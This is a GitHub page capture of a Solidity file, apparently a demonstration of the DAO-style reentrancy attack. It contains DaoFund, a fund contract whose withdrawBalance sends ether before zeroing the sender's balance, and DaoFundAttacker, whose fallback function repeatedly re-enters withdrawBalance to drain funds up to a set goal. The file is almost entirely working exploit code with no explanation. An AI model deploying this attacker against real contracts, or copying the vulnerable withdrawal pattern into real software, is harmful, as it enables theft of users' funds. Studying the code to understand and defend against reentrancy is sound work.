-
Notifications
You must be signed in to change notification settings - Fork 22
/
DaoHack.sol
68 lines (53 loc) · 1.8 KB
/
DaoHack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
pragma solidity ^0.4.18;
contract DaoFund{
mapping(address=>uint) balanceOf;
event WithdrawBalance(string message,uint gas);
function getUserBalance(address user) external view returns(uint) {
return balanceOf[user];
}
function addToBalance() external payable {
balanceOf[msg.sender] = balanceOf[msg.sender] + msg.value;
}
function withdrawBalance() external {
uint amountToWithdraw = balanceOf[msg.sender];
WithdrawBalance("withdrawBalance",msg.gas);
if (msg.sender.call.value(amountToWithdraw)() == false) {
revert();
}
balanceOf[msg.sender] = 0;
}
}
contract DaoFundAttacker{
address fundAddress;
int goalAmount;
event WithdrawBalance(string message,uint gas);
function DaoFundAttacker(address _fundAddress) public {
fundAddress=_fundAddress;
}
function() public payable {
goalAmount -= int(msg.value);
if( goalAmount > 0 )
{
if(fundAddress.call(bytes4(keccak256("withdrawBalance()")))) {
WithdrawBalance("Succeeded in fallback",msg.gas);
}
else WithdrawBalance("Failed in fallback",msg.gas);
}
else {
WithdrawBalance("All the goal amount withdraweAll the goal amount withdrawed.",msg.gas);
}
}
function deposit() public payable {
if(fundAddress.call.value(msg.value).gas(20764)(bytes4(keccak256("addToBalance()"))) ==false) {
revert();
}
}
function withdraw(uint _goalAmount) public {
goalAmount = int(_goalAmount * 1 ether);
if(fundAddress.call(bytes4(keccak256("withdrawBalance()")))==false ) {
WithdrawBalance("Failed in withdraw",msg.gas);
revert();
}
else WithdrawBalance("Succeeded in withdraw",msg.gas);
}
}